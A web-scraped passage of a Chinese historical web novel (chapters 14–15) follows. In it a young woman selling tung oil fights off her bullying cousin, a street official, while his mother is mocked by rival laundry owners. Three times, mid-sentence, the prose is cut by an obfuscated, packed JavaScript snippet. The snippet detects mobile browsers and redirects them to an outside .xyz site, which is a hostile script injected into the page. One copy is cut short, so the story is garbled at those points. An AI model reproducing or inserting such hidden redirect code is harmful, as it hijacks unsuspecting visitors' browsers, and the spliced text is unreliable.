房进利心底骂娘。 好不容易都赶出门了，怎就没冻死她？ 还让她做起了桐油生意，也不知哪里来的本钱？ 想到个钱字，房进利往那装钱的背篓里投去一瞥，本以为这豆大个摊子赚不了几个臭钱，不抄也罢。 没成想一看，傻了。 那背篓里的铜钱盘龙似地卧着，即便上头盖了枯草，也能看出至少有两长串，二百文不止。 一天就有二三百文？ 她摆摊儿几天了？五天，十天？ 房进利倒吸一口凉气。 街道司那仨瓜俩枣的月奉他不稀罕拿，可入了眼的快钱赚不到手，他便浑身难受。 再想到他这些日子被塞进街道司当牛做马，受那牟万里的气，房锦儿却躲在这里赚钱，过得如此之快活，更是嫉恨不已。 “你又是谁，你说应允便应允？”房进利推开那差役，伸腿便踢了那书铺门前的旧物摊子一脚。 指着店主妇人和房锦儿道：“要我看，这俩摊子都是侵街占道，当同罪并罚！来啊，给我抄了！” “住手，”房锦儿护住油罐，斥道，“谁敢动这两个摊子半分，担心我告上府衙，告你们以权谋私，贪赃枉法！” “嗬，房锦儿，长能耐了，你当你是甚么东西？”房进利怒朝她走去。 “慢慢慢——” 人群之中忽然劈开条口子，书吏刘三儿擦着汗小跑而来，伸手拦住房进利。 他身后还跟着几个街道司的捕快，吴顺和毛富皆在其中。 房锦儿眼尖：“吴大哥？” 吴顺也看见她了：“锦儿？这是怎回事？” 刘三儿本是跟着房进利一同出来的，就是怕房进利不谙律法，惹事生非，半路特地去寻了吴顺等常年巡街的老手，好歹有个帮衬。 没想到还是来晚了些。 围观众人已经被房进利这般不讲道理激怒了，见又来人，不管三七二十一便指摘道：“你们街道司就是这般强取豪夺的？” “当真是豺狼虎豹，目无王法！” 刘三儿和吴顺一行被骂得直喊冤枉，听了好一阵，才明白过来怎么回事。 “房司副就是你那个二叔，房老二家的儿子？” 房锦儿点头。 房姓在盛都不是小姓，吴顺虽知道些房锦儿的家事，也晓得新来的司副姓房，却就是没往那方面想。 现在人和事对上了号，他看房进利的眼神里更多了几分鄙厌。 毛富那小子头被他砸破，现还缠着布呢，在衙门里都如此横行霸道，可见当年对房锦儿姐弟三人有多可恶。 “房爷，这位娘子说得不错，摊子既不占用街道，也未挡住旁边的铺子，算不得侵街违律，不能抄。” 吴顺朝房进利行了个礼。 刘三儿也道：“房爷，一个破油摊子而已，何必置气。牟大人还等着你回去办别的差事呐。” 却是房进利不肯饶：“不能抄？吴顺，你在教我做事？” 吴顺：“小的不敢，小的只是按律论事。” “按律论事？好啊，按律论事，那你就给我抄了这个违律占道的油摊！怎么，不肯？我堂堂司副，倒不如你的官威大？” 房进利现在争的已然不是甚么律法对错，而是他在这大安坊的颜面。 他转身朝一众捕快道：“谁今日有本事抄了这摊儿，以后就是我房某人的兄弟，我回去重重有赏！” 那几个跟他一道来的差役蠢蠢欲动，提刀便要上前，吴顺赶忙带着毛富将几人牢牢挡住。 “一群废物。” 房进利见无人敢动，干脆疾跨几步，伸手去掀房锦儿的背篓。惊得围观众人吓了一跳，齐齐退步。 那背篓夹在房锦儿和锦云之间，紧靠着逸哥儿。 逸哥儿以为房进利是要捉人，吓得往前一挡：“阿姐小心！” 房锦儿却是一眼看穿了他的来意，也亏得逸哥儿这一挡，她眼疾手快将背篓拎起朝后一递，递给了那书铺的妇人。 而后以衣袖接了房进利一爪子，跟着惊叫道：“堂兄这是干甚么？” 她声音颤抖，围观众人看不甚清，以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913739|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房进利手脚不干净，皆惊道：“好个贪赃枉法的狗官差，竟这般无耻。” 房进利扑了空，愈发火大，转朝那装油的陶罐袭去：“干甚么？老子今日非得砸了你的缸。” “你休想。”房锦儿最宝贵便是这油罐，吃饭的家伙，里头还有小半罐油呢，岂能让他毁了。 她双手扣缸死命拽住，竟与房进利打了个平手。 两人僵持，罐子原地未动。 然房锦儿毕竟瘦弱，撑不得两息手指便失了力，加之油罐湿滑，只听一声细响，那缸底被移过半寸还多。 房进利闷头拔缸，房锦儿心有余而力不足，干脆狠心一咬牙，果断将手一松。 油罐不小，没了她的拉力，登时朝房进利倒去，房进利又怎料到她会放手，还在那埋头用力呢，突然一松劲，连人带缸拔向后地而起。 只听“哐啷”一声闷响，那油缸竟把他重重砸在了地上，脑袋上瞬间砸出条血口子，与那日毛富被花盆所砸如出一辙。 “哎哟！” 房进利捂头痛呼之时，围观众人皆是拍手叫好，直呼大快人心。 几个跟班顾不得与吴顺等人对峙，连忙来搀，却被房进利尽数搡开：“滚！还不快给我抓了那女娘，反了！” 吴顺本是懒得理会，奈何刘三儿一个劲给他递眼色，他便只好喊了毛富，两人一人一边，不容分说地将房进利两条胳膊一锁，从地上架起。 毛富低声：“房爷，对不住了。” 吴顺侧目看了毛富一眼，心说人家用花盆砸你，伤都没好，你倒还先对不住上了？ 却也无暇多想，因为房进利还在依依不饶，喊着要抄房锦儿的摊儿。 吴顺听得烦躁，手上不动声色用力一拧，疼得房进利又是一声嗥叫。 “房爷，疼就休要挣扎了，回衙门养伤要紧。” 为首的都挂了彩了，几个跟班自然也不敢再闹，刘三儿趁着这间隙赶紧驱散众人，叫街道司一行回衙。 房锦儿见他要走，赶忙伸手把人拉住：“这位官人，你看我这小本生意，桐油洒了不少，缸也磕破了边儿，是不是……” “是甚么？”刘三儿一瞪眼。 “房爷今个没抄你的摊儿，你就偷着乐罢。以后休要占道经营，再敢违律，有你好看。” “……” 待到众人散去，房锦儿拿进逸擦瓶的粗布擦净油罐，收了摊儿。 那油罐上磕破个两寸长的口子，好在不影响使用。 书铺的妇人拎了背篓来还她，房锦儿诚心行了礼，道：“今个多谢芳苓娘了，险些连累了你的摊子。” “谢甚么，我说的都是实话而已。”金芳苓道，“我这摊子不过一堆不值价的旧物，抄了也无妨。倒是你，何时还通晓律法了？” “那还是得谢你。”房锦儿笑道。 “你不是送我一本《书判集》么，里头讲的虽是本朝商贾奇案，却有不知何人留下的律令手札，我便从中学得一点皮毛。” “行啊你。”金芳苓道，“不过你也别谢我，我可不是平白送你书，那是给你抵油钱的，谁教你不肯按市价收。” 房锦儿道：“我也不是不肯啊，我就是想要你铺里的旧书。” “行了行了，今个还剩多少油，都卖给我罢？” “行啊，你铺里那本《诸行买卖》抵给我就行……” 房锦儿抱着油罐跟着芳苓娘进了铺，逸哥儿和锦云在外头等。锦云拉了拉逸哥儿的手，瘪嘴道：“阿兄，二堂哥以后会不会再找咱们麻烦？” 肯定会的。 进逸心头的实话在舌尖顿了一下，没说出来。 他今日见到房进利，从前那些被欺负的日子，挨饿受冻的日子，便又仿佛回到了眼前，教人觉得无助之极。 可想到阿姐把他和锦云挡在身后的那一下，又着实令他惊讶。 阿姐从前那么怯懦，何时变得连二堂兄都不怕了？ 那是不是以后只要有阿姐在身边，他们也可以无所畏惧？ 他想了片刻，反手攥住锦云，道：“不会，即使来了，也有阿姐和阿兄挡着，绝不让他再抢咱们锦云的东西。” “那我便不怕了，二堂兄再来，你和阿姐就揍他。” 逸哥儿笑道：“对，我先替你揍他，等你长大了，要是他还敢来，咱们仨一齐揍他。” “好！”锦云用力点头。 - 房家在大安坊的浆洗行，离商市不远。 生意虽交给了大儿子房进名和儿媳蕊娘，夏氏还是偶尔抽空来帮衬一把。 说是帮衬，其实主要是看账，浆洗行里若有大笔银钱进出，还是由夏氏说了算。 房进名虽有些不满，却被个孝字压着，不好违背母亲，只得暂且由着她来。 今个正是夏氏到铺里查账的日子。 她哺时查完了账，从浆洗行步行回家，途径商市，正寻思买些做暮食的菜蔬回去，便见商市那李贵酒肆门前，几个熟识的妇人正一人一杯饮子地喝着，眉飞色舞，聊得起劲。 “哟，杜家娘子，卫家娘子，聊甚么呢？” 夏氏向来是个不拘的，脸上端笑便上前去了，哪知那杜家娘子头先瞧见了她，竟佯装咳嗽两声，几个妇人纷纷转头，霎时噤了声。 14. 第 14 章 夏氏脸色落得很快：“哟，这是何意啊？” 在场的妇人当中，除了杜家和卫家，还有个董家，这三家也是在盛都城中开浆洗行的。 卫家同房家一样，只在大安坊有一家铺子。杜家富饶些，在大安坊、邻北的大通坊、敦义坊各有一家。 这董家就不一样了，董家官人乃是城南浆洗行会的行头，董家的浆洗行遍布城南七街二十坊。 若非董家的小郎君在大安坊的书馆念书，董家也不会在此偏远的坊中安宅。 卫家娘子最先笑着站起来招呼：“房家娘子这是要去买菜？今个街角的菜店有好些新鲜的荠菜，你瞧我刚买了些，打算拿回去做羹粥。我看他家那嫩韭也很是水灵，卷些春饼也甚好。” 她一边说着，一边挽了夏氏去看那菜篮子，想把这场难堪化解了去。 其他几位娘子不语，董家娘子干脆端了饮子，往椅背上一靠，掀起眼皮看着夏氏的姿影，悠闲喝起。 夏氏呵呵一笑：“荠菜嫩韭？哟，卫家的浆洗行近来生意不好？只吃得起这些草根菜了？” 卫家娘子伸出去的手停在半空，一时有些无措，只好硬着头皮跟着笑：“房家娘子说得是，大抵是开春水暖，都愿意自个在家涣衣，确实不如冬天的时候。” “嗐，其实也不赖你们卫家不行，时令嘛，就连我们房家的生意，也不过是堪堪稳着罢了。” 夏氏扭腰提裙，毫不客气地往凳子上一坐，占了卫家娘子的位置。 “咱们几家都是同行，没什么不能说的，是不是？近来生意不景气，若是有我能帮得着的，尽管与我说。 不瞒几位，我家二郎进了坊里的街道司，任个司副，虽算不得大，但是个管事的实差，既管税事，也管巡防，这街坊邻舍的，若是遇着个恶民、盗贼，我家二郎也是有些本事……” “噗……” 夏氏话还没说完，杜家娘子一个没忍住，笑出了声。 方才嚼舌根就不带她，好不容易插进来了，正往脸上贴金呢，又被一下子扯破，夏氏当然不悦：“杜家娘子这是想到何事了？怎不说出来让我也笑笑。” 杜家娘子掩了掩嘴：“我怕说了，你笑不出来。” “你不说，又怎晓得我笑不出来？” “好了好了，何必争这一口气呢，房家娘子也渴了罢？叫茶博士再上盏饮子来。”董家娘子伸手。 “董家娘子不必这么护着她，”夏氏嗔道，“依我看，是我家利哥儿进了街道司的事儿惹有的人眼红了。毕竟谁人不知杜家二郎去岁将将落了榜……” “眼红？” 杜家娘子被逗笑了，抬眸看了董家娘子一眼。董家娘子晓得夏氏的德行，既拦不住，便也算了，回她个“说罢”的眼神。 “你还不晓得罢？你那个有本事的好利哥儿，方才在街上欺负小娘子，结果没打过人家，自个儿摔成个翻船的王八，磕得满头血。街坊四邻可都传遍了，我们方才就是说这个呢。” 杜家娘子话毕，在场几位妇人皆是掩嘴“吃吃”地笑起来。 有人笑着补道：“我家小厮路过，可是亲眼瞧着了，说那叫一个狼狈。” “你们是不知，听说还被围观的书生骂了个狗血淋头。” “也不知那头上的‘狗血’止住了没。” 几人又是一番笑。 卫家娘子站在一旁，也忍俊不禁，夏氏闻声转过头，狠狠剜了她一眼。 而后朝杜家娘子道：“你胡言，我家利哥儿怎可能被小娘子打破头，他可是——” “可是什么？”杜家娘子笑道，“可是大安坊里出了名的帮闲？只有他欺负女娘的份儿，没有女娘动得了他？” “你……”夏氏脸上忽红忽青，她站起身来，转身道，“董家娘子，你不说句公道话，就由她们这般信口胡说，编排我家利哥儿？” 董家娘子悠悠然道：“公道不公道，又不是我说了算。是不是胡说，你回去看一看不就晓得了？” “哦，”杜家娘子突然想起什么似地，“你还不知利哥儿碰上的是哪家女娘。” 夏氏眼神“唰”地盯过去，杜家娘子便道：“听说啊，就是被你们房家赶出去的那小侄女儿。” 又一妇人立时笑了，道：“别说，那算卦的算得还真灵。” 夏氏只觉脑袋“嗡”的一下，有些立不住了。 赶出去的小侄女儿，房锦儿？ 她不是差点儿冻死了么，不在家中养着，怎会和利哥儿撞上？莫不是听说利哥儿进了街道司，故意报复去惹他麻烦，想让他丢了差事？ 夏氏这回真有些信了，忙道：“什么卦？” “这你也不晓得？坊里都在传呢，前阵子有个路过的玄士，给你们房家那小侄女算了一卦，说她是‘禄劫同宫’之命，命中还带着’驿马星’，命硬得很。” “还说她大难不死必能反噬仇家。” “那与她结冤之人岂不是要倒霉了？” “是啊，不然怎会磕了满头血呢。”杜家娘子朝着众人挤挤眼睛。 夏氏脸色愈发地难看，见诸妇人皆偷着笑她，董家娘子也无动于衷，气得绞紧了手中的丝帕。 怒道：“胡说，胡说八道，你们住嘴！我家利哥儿堂堂正正，怎会因个女娘倒霉？究竟是哪个不要脸的玄士，竟敢这般造谣。” 杜家娘子低头抿了抿唇：“天底下没有不漏风的墙。你也知道都是同行，没什么不能说的，是不是？自己个做下的腌臜事，自己个心里没点数？” 夏氏被踩了尾巴一般：“你这话又是什么意思？” “意思就是有的人不要脸。” “行了！”董家娘子把手中茶盏“啪”地往桌上一放，“吵得我头疼，有什么改日再说罢，我还要去西市的乐坊听琴。” 卫家娘子闻言过来搀她起身，夏氏与杜家娘子互瞪一眼，只好作罢，眼睁睁看着几个妇人窃笑离去。 …… 菜蔬自是不想买了，回去的路上，夏氏只觉路人皆在对她指指点点，好几回怒目转头要骂，却又发觉人家并未看她。 利哥儿碰上房锦儿，还打起来，还磕破了头？ 她怎么想怎么想不通，怎么想都觉着不可能。 从小到大，她眼瞧着的，利哥儿何时吃过房大那家人的亏？ 那个房锦儿瘦得跟麻杆似的，能打得过利哥儿？她光想想都心慌得紧，只怕利哥儿一不小心把房锦儿给打死了，那才不好办呢。 想到这里，她没忍住，“噗嗤”笑出声来。 到底是她多疑了，差点信了那群妇人的话。 卫家眼馋他们房家的生意已不是一两日，那杜家的二郎又是众所周知地不成器，眼下就属利哥儿出挑，当然叫人眼热。 所以她们才编出这些不实之言，让她当众难堪。 是了，夏氏心道：“待我寻出究竟是哪个玄士敢这般毁谤，若真是她们在背后捣鬼，我定不轻饶。” 她加紧了脚步返回家中，见房进利还未下值回来，心头果真松了一口气。 哪知还松放不得一刻钟，忽听外头院门“砰”的一声大响，有人踹门而入，出去一看，正是房进利回来了，头上三缠两道地裹着布，隐隐可见血色。 “啊哟我的利哥儿——” 老太太左氏本是在灶房生火，见着房进利这幅模样，心急火燎，“这是怎的了？素娘，素娘？你快来看看，利哥儿受伤了。” 夏氏一见那纱布便僵住了，老太太唤了好一会，她才后知后觉似地回过神来：“这，这是？” 房进利心里烦躁得紧，挥手把俩人推开，怒气冲冲：“巡街摔了一跤。” 夏氏一听，自然不信，上手将那纱布摸了摸，追问道：“摔能摔成这样？” “我说是摔的便是摔的，休要问了。”房进利没给她好脸，“我饿了，我要用饭！” 知子莫若母，夏氏心中猛然一坠。 要真是摔的，这小子早便委屈哭着喊娘了，他越是藏着，越说明有鬼。 杜家娘子所言那命卦翻上耳来，什么‘禄劫同宫’’驿马星’，什么房锦儿大难不死反噬冤家，什么房家要倒霉。 她一把揪住要往屋里走的房进利：“你给老娘说实话，这伤到底哪来的？你是不是碰上什么人了？你就这般裹着纱布回来的？路上没被别人瞧见罢？” “你管我碰上谁了？我纯纯倒大霉行了罢！”房进利再度甩开她，“饭到底好没好，小爷我饿死了。” 他哪晓得“倒大霉”三个字简直如三支利箭，嗖嗖往夏氏心口扎。 夏氏也怒了：“我呸呸呸，你不说清楚，今个别想吃饭！” 老太太连忙来拉：“有有有，饭马上就好，利哥儿听话。素娘，你不是说买菜去了，怎不见菜买回来？” 夏氏此时最不想听见便是那“菜”字。 颜面都丢尽了，还吃什么菜？同卫家一般吃荠菜韭菜糠咽菜么？ 她瞪着不知情的左氏，心头陡然升起一股无名火，恰在这时，院门又是“吱呀”一声，蕊娘乘了驴车回来了。 “娘，祖母，利哥儿？” 蕊娘一下车，便见院子里热闹得很。 “就你自个回来了？名哥儿呢？”夏氏眉头一皱，怒从语出。 可怜蕊娘还不知情：“名哥儿说送完今个的货便回，让我先……” “自家官人还未歇息，做娘子却偷奸耍滑，账本还要我这个做婆母的帮你看，名哥儿娶了你可真是好福气！” “娘，我不是……” “你不是甚么不是？让你买的菜蔬可买回来了？” 蕊娘诧异抬眼：“您不是嫌我买的不好，说要亲自……” 夏氏劈头打断：“我说了甚么我不记得？没买便是没买，竟这般狡辩。既没买，你便去潘楼端几个现成的来。” 蕊娘咬了咬嘴唇，还待要开口，房进利却是终于满意了，舔了舔嘴，道：“我要吃酱肘子和烧鹅，哦，新开坛的咸阳春别忘了给我买一壶，我要小梅娘亲自倒的。” - 回家的途中，房锦儿背着那磕破边儿的陶油罐，带着两个小的绕了点儿远路，去了趟坊东的丝绢布行。 “阿姐，咱们不是来买布的么，买这些彩线做什么？” 锦云手中抱宝贝似地抱着一小包丝绵，看看房锦儿，又回头望望进逸。 进逸背篓里竖插着一匹粗布，手中也拎着个颇大的包袱，不过里头装的不是丝绵，而是麻絮。 房锦儿背篓里也插两卷草席，那本厚厚的《诸行买卖》贴着硕大的油罐，就挤在背篓边儿上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930380|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她今个是带着两小只来买棉布做被褥。 穿来这么些时日了，倒座房里连床被子都还没有，姐弟三人依旧睡那薄薄的草席，到底不是长久之计。 做被要绵，丝绵贵，只能先以麻絮为主，凑合着用。 房锦儿正在柜台上选丝线，头也不抬：“你湘娘娘那彩布不是还未绣完吗？我看她线用得差不多了，咱们选些给她。” 吴家两口子不肯要她还那药材钱，方才恰见此店有售丝线，便想到了薛湘。 不过这丝线她着实不懂，颜色样式多得缭乱，她瞧了半天，终是抓了抓头发：“劳烦店家帮我选罢。” 那店小二便问了她用处、绣样，末了挑出几束。 房锦儿还算满意：“总共几何？” 店小二算盘珠子拨了拨：“上好的杭丝一百五十文一两，三两总计四百五十文，小娘子给四百四十五文罢。” 四百五十文？没听错罢？ 逸哥儿眼睛兔子似地一睁，而后埋头便是一通算。 粗布一丈二尺一百二十文，草席一大一小两张六十七文，丝绵一百二十文一两，买了五两花去六百文，麻絮到是便宜，六斤不过二十文。 可这一算，短短三刻钟，阿姐已经花出去一贯又三十七文。 现在还要再花四百五十文。 而这十来日他们早出晚归，背油累个半死，刨去本钱与吃食，也不过赚得两贯又四百零三文。 进逸倒吸一口凉气。 这哪是来买布做被子的，这分明是来荡产倾家的！好不容易赚得些，哪能这么花。 “阿姐！”他急急把房锦儿拉到一边，低声道，“给了这四百四十五文，咱们就只剩六百九十一文，买二十斤桐油的钱都不足了。” 房锦儿一愣，随即有些惊喜：“嚯，你小子算账愈发快了啊。” 进逸也一愣，这是重点么？ 他摇头：“不是，阿姐，咱们明日买油还需用钱，若是二堂哥再来捣乱，那……” “那也有的是法子。” 房锦儿拍拍他的肩：“你这般想，若是今日房进利把咱们的摊子抄了，拿走了咱们的两贯又余，咱是不是就分文不剩了？” 进逸一阵后怕：“是。” “那现在他没能抄得了咱们，是不是那两贯又余又回到了咱们手上？” 进逸想了想：“好像是？” “那是不是就等于白得了两贯又余？” “好像……也是？” “那既是白得的钱，花了也无妨，你说是不是？” “好像是。”进逸也抓了抓头发。 “诶——” 对喽。 房锦儿转身要回柜台，进逸忽觉不对：“……不是，阿姐，不能这么——” “四百四十五文，”房锦儿已经笑着把钱拿出来了，顺便指着柜台角落一小筐布料边角，与那小二道，“再送一篓布头便成交。” …… 花了钱出来，房锦儿神清气爽。 给薛湘的丝线买了，正儿八经的草席有了，做被子的料齐了，有了被褥，以后便不用再挨冷受冻，柴禾钱也能省下一些。 她盘算着，手里这篓碎布头拼一拼，填上枯草，兴许能够做两个软枕头。若是不够，就先做一个枕头，剩下的做个小荷包。 小锦云玩着那碎布高兴得很，逸哥儿却仍是有些闷闷不乐。 房锦儿伸手将他揽过来：“房进利那厮不善，咱们碰上他一回，没叫他讨着好，就一定会碰上他第二回，第三回。” “官始终比民大，房进利那点子官威，较起真来，足以压咱们一千头。今个咱们钱侥幸没被他抄走，可明个呢？说得准不？与其哪天落在他手中，倒不如咱们先用在刀刃上，之后轻装上阵，也好灵活行事。” 房锦儿也是被刘三儿那两句话提了个醒。 官官相护，若房进利当真想从她手中夺财，硬拼并非良策。 进逸醍醐灌顶：“所以阿姐这般花钱，也是防着二堂哥再来抢？” 房锦儿点头：“而且被褥迟早也要买的嘛。阿姐赚钱，不就是为了这个？若咱们起早贪黑赚了钱，终究还要冻坏在那破屋子里，你说委屈不委屈？” …… 这坊东靠着清明渠，渠上玉桥如绫，桥上灯火如星。 临江楼的灯笼就悬在那桥中央，两艘画舫如烟如缈，如仙子奔月般拱卫左右，其上亦是萤灯粲粲，歌舞升平。 姐弟三人不曾到过这片富户聚居的区域，更不曾见过这番盛景，纷纷驻足观看。 房锦儿先是赞叹于临江楼之美景，而后看着看着，忽见那河畔道边，还有一座宽门阔扇的大宅，隐隐立在一片灯火之巅。 宅前青石铺路，门槛七阶踏步，左右两只威武石狮，十几个护道的家丁站在那石狮前，贵气威严。 再细看去，只见里头云纹立柱若隐若现，飞檐翘角沿墙而起，琉璃青瓦鳞覆其上，花木浮影其间。 那门楣上雕祥画瑞，匾额书两字：董宅。 房锦儿自打穿来便在穷人堆里打转，还是头一回见着这朝的富商豪第，简直眼都看直了，羡慕得不行。 好歹前世也是个赚钱赚到手软的地产集团高层啊，她不想住那破落院，她也想住这样的宅子。 15. 第 15 章 崇贤坊的定远将军府后院，元甲带着一堆丫鬟敲开门进来。 顾济一写字的手一顿：“找着了？” 元甲瘪了瘪嘴：“没，大娘子让我给你拿些吃的用的来，过两日不是要搬去学馆了么。” 他说着，抬了抬手，丫鬟们鱼贯而入，放东西的放东西，收拾的收拾，房间里一下子满满当当。 顾济一看了看拿来的，又是锦缎团花的被衾，又是白玉枕头，银盆香粉，一堆笔墨纸砚倒还算有用，可也太多了罢，光砚台就有造型各异的五六个，纸卷更是堆成小山。 “我是去念书，又不是去赴任。带这么多没用的东西作甚？” “大娘子一片心意，郎君就收着罢。况且怎叫没用呢，你看这个。”元甲嘿嘿一笑，把手里拎着的两大包东西往桌上一放，打开其中一包。 “大娘子让人专程从西北运来的肉干，怎么样？” 顾济一“唔”了一声，眼睛亮了，拿起一块啃了一口：“不错。可光有肉干没有炊饼，不得劲。” “炊饼还不好说么，坊里刁家食肆的，我每日下山给你买就是了。” “诶，这可是你说的啊。” “我说的。”元甲拍拍胸脯。 “那这包是什么？”顾济一吃着肉干，指了指元甲拿来的另一包东西。 “哦，这是大娘子给你备的新衣。”元甲把包袱打开，里头是几套圆领绸缎襕衫，“她说你日日穿得乌漆嘛黑，不像个读书人，该穿点儿浅的白的，文雅的。” “不要不要，”顾济一当即盖上包裹，“你让伯母拿回去。” “不是，郎君，我觉着大娘子说得挺有道理的。盛都城里都兴穿这圆领宽袖的襕衫，你那些箭袖的交领衫子，咱在西北时穿穿还行，现在……” “现在如何？盛都城里兴甚么不兴甚么，与我何干？我就爱穿箭袖，方便。” “郎君要不先试试？大娘子给都给了，再说宽袖也挺舒服……” “舒服那你穿？扇坠还没找着呢，有这闲工夫你先去给我找扇坠。” “我哪敢穿，”元甲委屈，“整个崇贤坊我都跑遍了，就差没把文德学馆那山头翻过来，愣是找不见啊。” 顾济一：“那就把山头翻过来啊。” 元甲：“……” “坊里找不着，就去别的坊问问，万一是出城的路上丢的。”顾济一转回桌边儿去，重新拿起笔，“总之掘地三尺也得给我找回来。” “……那这些衣裳呢，真退给大娘子？” 顾济一头也不抬地挥挥手：“退。” - 另一边，西市最大的乐坊之中，二层的垂帘小楼里，几个妇人趺坐在毯上，正听抱琴的乐伶弹曲。 董家娘子陆元真坐在正中，背后靠着几个精致软垫，口中吃着新煎的蜜饯，表情颇为享受。 “真姐，”杜家娘子小声道，“方才何不干脆让我揭了那夏氏的脸面？” 陆元真觑她一眼，笑道：“你眼红她家二郎啊？” “真姐！”杜家娘子轻推了她一下，“我眼红她作甚，我是替你不平。她借着行会勾搭董大东家，还让董大东家通告各家浆洗行，不准雇用她家侄女，你就一点儿不生气？” “不许雇用的又不是我，我生甚么气。” “那你就打算由着她和董大东家这么……这么去？” “好！”一曲完了，琴弦利落收尾，陆元真拍手扔出去几锭银钱，“是钱不好花还是曲不好听？管不了的事情，我懒得管。” “可，就这么放过那夏氏，我都咽不下这口气。” “想揭她脸面的人多了去了，用不着你。” 杜家娘子闻言抬眼：“你是说她家那侄女？” 陆元真笑着拍拍她：“我没这么说。你去，看看隔壁那擅弹琵琶的绿珠娘子起了没，帮我请来，就说我今日有好物相赠，请务必来弹一曲。” - 吴家今夜的灯也熄得晚。 因为吴顺和毛富几人下值后，又被房进利罚去清扫交渠涨水留下的污泥。 薛湘从房锦儿的倒座房回来时，吴顺还在给胳膊上抹正骨药。 今日的事薛湘已经听他说过了，她放下丝线，接过药替他揉着：“要是明早还疼，咱就去药铺寻大夫看看。” “不用，被那厮拿刀把打了一下而已，有你给我擦药，明早就好了。” 薛湘怒了努嘴：“撒气撒到你这里来了，一家子缺德鬼，干尽坏事，迟早遭雷劈。” 吴顺下巴点了点薛湘拿进来的东西：“那是什么？” “哦，锦儿给我买的丝线。”薛湘笑着把东西拿过来，“瞧这颜色，好看不？” 吴顺摸了摸：“这丝不便宜罢。” “别瞎摸，摸脏了。”薛湘拍开他手，“贵得很呐，这是上好的杭丝，这么一点儿得好几百文钱。” “她这是还想着咱们给的那两包药？” 薛湘点头：“可不是么，这丝线是特意给我买的，我也只好收了。我过去的时候看她正缝被子呢，那针脚粗的呀，塞进去的麻絮一个劲往外钻。” 两口子同时笑起来，薛湘继续道：“我便叫她莫要缝了，等我明个去给她弄。” 吴顺笑道：“还说什么了？” “还把房进利臭骂了一通。” 薛湘笑着抿了抿嘴：“唉，别看她卖这桐油生意不错，每天天不亮出门，不知走多远才背回来那么点儿，还要被自家二堂哥欺负，个中辛苦恐怕只有她自己晓得。” 她替吴顺揉完了药，道：“你在外头要是能帮，就多帮帮他们姐仨。” 吴顺躺下：“知道。” - 翌日一早，房锦儿照旧带着进逸出城背油，在油庄里与鸿文打了个照面。 “走水的事情查得怎么样？” 鸿文摇摇头：“怪得很，被烧伤的油匠老谷坚称当时缸里少了油，所以才会跑去取灯来照。可我和东家后来量了库中所有的缸，不见少。” 房锦儿道：“那个老谷人怎么样？” 鸿文道：“庄里的老油匠了，人木讷，但决不会撒谎。” “那就是有人暗地里把缸填满了？” “我觉着有这可能，”鸿文点头，“可那日火尚未灭，咱俩就把库房的大门关了，火小后东家便带人检查，如此短的时间填满油缸，谁能做得到？” “你们油庄里几百号人，还真不好说。”房锦儿想了想，“那库房和柴房之间的油渍是怎么来的，这个可有线索？” 鸿文揉了揉太阳穴：“这就更难了，每日出入库房的油匠便有几十，谁漏了洒了，压根不记得。东家日日催我厘清此事，我都不知该从何查起了，弄得我觉都睡不着。” “唉，”房锦儿拍拍他的肩：“你也不容易。” 鸿文替她和进逸扶了扶背上的油罐：“何时能来修路啊，要不我也跟你们下山卖油算了。” 房锦儿道：“修路还早，但卖油简单。咱俩合伙，本钱我出，摊子我摆，吃住我供，你专门背油，一日三趟五十斤，月钱……” 她掐指算了算：“月钱六贯，每日超过五十斤的，另算抽头，如何？” 鸿文啧道：“一日五十斤油，一月你少说净赚五十八贯，合伙才分我六贯，你比我们东家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943276|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还黑。” 房锦儿嘿嘿一笑，道：“鸿文啊，目光不能短浅，合伙要往长远了看。初期少拿些，为的是省出银子让生意打下根基，待咱们以后做大了，还不有的是赚？” “罢了，”鸿文把姐弟俩送到庄门口，“我觉得还是我们东家画的饼实在些，毕竟我也吃了好多年了，你这个，不好下咽。” 背着油下了山，回到金光门，见金光门前聚集了不少百姓。 房锦儿和进逸排在队伍中间，只觉前方遥遥无期，后面也望不到头。跟前面放弃进城的人一打听，才知是巡检司下了新令，从今开始，凡带货进城者，都要办路引。 这路引房锦儿见过一回，就在那卖油货郎的箱子里。 起初她以为是出入城门必须之物，后来往返多次也不见守门的卒役问她要过，就当是可有可无了。 她拦住个老伯：“敢问老丈，可知为何今日突然要路引？” 那老丈一脸不满：“咱们盛都城里人，谁办那玩意？从前都是外乡人才有。听说是城外的流寇混进城去了，也不知犯了甚么事，这才警惕起来。” “真是流寇，流寇进城了？”旁边人闻言，纷纷过来叙话。 房锦儿对那流寇不感兴趣，只关心她今日摆摊恐怕要晚。 这么多人，得排到什么时候去？ 